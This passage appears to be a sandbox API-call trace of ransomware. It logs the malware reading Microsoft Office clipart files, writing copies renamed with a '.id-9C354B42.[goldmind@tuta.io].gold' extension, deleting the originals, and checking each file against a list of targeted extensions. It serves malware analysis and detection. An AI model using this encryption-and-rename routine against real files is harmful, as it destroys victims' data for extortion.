dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.378] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=6060) returned 1 [0049.378] CloseHandle (hObject=0x190) returned 1 [0049.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0049.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.378] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.378] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.379] GetLastError () returned 0x0 [0049.379] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x17ac, lpOverlapped=0x0) returned 1 [0049.380] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0049.381] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.381] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.381] SetEndOfFile (hFile=0x218) returned 1 [0049.381] CloseHandle (hObject=0x218) returned 1 [0049.381] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.381] SetEndOfFile (hFile=0x190) returned 1 [0049.382] CloseHandle (hObject=0x190) returned 1 [0049.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0049.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.382] lstrlenW (lpString=".doc") returned 4 [0049.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.382] lstrlenW (lpString=".docx") returned 5 [0049.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.382] lstrlenW (lpString=".pdf") returned 4 [0049.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.382] lstrlenW (lpString=".xls") returned 4 [0049.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.383] lstrlenW (lpString=".xlsx") returned 5 [0049.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.383] lstrlenW (lpString=".ppt") returned 4 [0049.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.383] lstrlenW (lpString=".zip") returned 4 [0049.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.383] lstrlenW (lpString=".rar") returned 4 [0049.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString=".bz2") returned 4 [0049.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString=".7z") returned 3 [0049.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.383] lstrlenW (lpString=".dbf") returned 4 [0049.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.383] lstrlenW (lpString=".1cd") returned 4 [0049.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.383] lstrlenW (lpString=".jpg") returned 4 [0049.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.383] lstrlenW (lpString=".doc") returned 4 [0049.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString=".docx") returned 5 [0049.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.383] lstrlenW (lpString=".pdf") returned 4 [0049.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString=".xls") returned 4 [0049.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.383] lstrlenW (lpString=".xlsx") returned 5 [0049.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.383] lstrlenW (lpString=".ppt") returned 4 [0049.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.383] lstrlenW (lpString=".zip") returned 4 [0049.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.383] lstrlenW (lpString=".rar") returned 4 [0049.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString=".bz2") returned 4 [0049.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.383] lstrlenW (lpString=".7z") returned 3 [0049.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.384] lstrlenW (lpString=".dbf") returned 4 [0049.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.384] lstrlenW (lpString=".1cd") returned 4 [0049.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0049.384] lstrlenW (lpString=".jpg") returned 4 [0049.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.384] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.384] lstrlenW (lpString="AN04134_.WMF") returned 12 [0049.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.384] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3416) returned 1 [0049.384] CloseHandle (hObject=0x190) returned 1 [0049.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0049.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.384] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.384] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.385] GetLastError () returned 0x0 [0049.385] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xd58, lpOverlapped=0x0) returned 1 [0049.386] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xd60, lpOverlapped=0x0) returned 1 [0049.387] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.387] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.387] SetEndOfFile (hFile=0x218) returned 1 [0049.387] CloseHandle (hObject=0x218) returned 1 [0049.387] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.387] SetEndOfFile (hFile=0x190) returned 1 [0049.388] CloseHandle (hObject=0x190) returned 1 [0049.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0049.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.388] lstrlenW (lpString=".doc") returned 4 [0049.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.388] lstrlenW (lpString=".docx") returned 5 [0049.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.388] lstrlenW (lpString=".pdf") returned 4 [0049.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.388] lstrlenW (lpString=".xls") returned 4 [0049.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.388] lstrlenW (lpString=".xlsx") returned 5 [0049.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.388] lstrlenW (lpString=".ppt") returned 4 [0049.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.388] lstrlenW (lpString=".zip") returned 4 [0049.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.388] lstrlenW (lpString=".rar") returned 4 [0049.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.388] lstrlenW (lpString=".bz2") returned 4 [0049.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.388] lstrlenW (lpString=".7z") returned 3 [0049.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.388] lstrlenW (lpString=".dbf") returned 4 [0049.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.389] lstrlenW (lpString=".1cd") returned 4 [0049.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.389] lstrlenW (lpString=".jpg") returned 4 [0049.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.389] lstrlenW (lpString=".doc") returned 4 [0049.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString=".docx") returned 5 [0049.389] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.389] lstrlenW (lpString=".pdf") returned 4 [0049.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString=".xls") returned 4 [0049.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.389] lstrlenW (lpString=".xlsx") returned 5 [0049.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.389] lstrlenW (lpString=".ppt") returned 4 [0049.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.389] lstrlenW (lpString=".zip") returned 4 [0049.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.389] lstrlenW (lpString=".rar") returned 4 [0049.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString=".bz2") returned 4 [0049.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString=".7z") returned 3 [0049.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.389] lstrlenW (lpString=".dbf") returned 4 [0049.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.389] lstrlenW (lpString=".1cd") returned 4 [0049.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0049.389] lstrlenW (lpString=".jpg") returned 4 [0049.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.389] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.389] lstrlenW (lpString="AN04174_.WMF") returned 12 [0049.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.390] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2636) returned 1 [0049.390] CloseHandle (hObject=0x190) returned 1 [0049.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0049.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.390] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.390] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0049.391] GetLastError () returned 0x0 [0049.391] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0049.392] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0049.392] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.392] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.392] SetEndOfFile (hFile=0x218) returned 1 [0049.393] CloseHandle (hObject=0x218) returned 1 [0049.393] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.393] SetEndOfFile (hFile=0x190) returned 1 [0049.393] CloseHandle (hObject=0x190) returned 1 [0049.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0049.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.394] lstrlenW (lpString=".doc") returned 4 [0049.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString=".docx") returned 5 [0049.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.394] lstrlenW (lpString=".pdf") returned 4 [0049.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString=".xls") returned 4 [0049.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.394] lstrlenW (lpString=".xlsx") returned 5 [0049.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.394] lstrlenW (lpString=".ppt") returned 4 [0049.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.394] lstrlenW (lpString=".zip") returned 4 [0049.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.394] lstrlenW (lpString=".rar") returned 4 [0049.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString=".bz2") returned 4 [0049.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString=".7z") returned 3 [0049.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.394] lstrlenW (lpString=".dbf") returned 4 [0049.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.394] lstrlenW (lpString=".1cd") returned 4 [0049.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.394] lstrlenW (lpString=".jpg") returned 4 [0049.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.394] lstrlenW (lpString=".doc") returned 4 [0049.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString=".docx") returned 5 [0049.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.394] lstrlenW (lpString=".pdf") returned 4 [0049.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.394] lstrlenW (lpString=".xls") returned 4 [0049.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.395] lstrlenW (lpString=".xlsx") returned 5 [0049.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.395] lstrlenW (lpString=".ppt") returned 4 [0049.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.395] lstrlenW (lpString=".zip") returned 4 [0049.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.395] lstrlenW (lpString=".rar") returned 4 [0049.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.395] lstrlenW (lpString=".bz2") returned 4 [0049.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.395] lstrlenW (lpString=".7z") returned 3 [0049.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.395] lstrlenW (lpString=".dbf") returned 4 [0049.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.395] lstrlenW (lpString=".1cd") returned 4 [0049.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0049.395] lstrlenW (lpString=".jpg") returned 4 [0049.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.395] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.395] lstrlenW (lpString="AN04191_.WMF") returned 12 [0049.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0049.395] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=6636) returned 1 [0049.395] CloseHandle (hObject=0x190) returned 1 [0049.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0049.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, 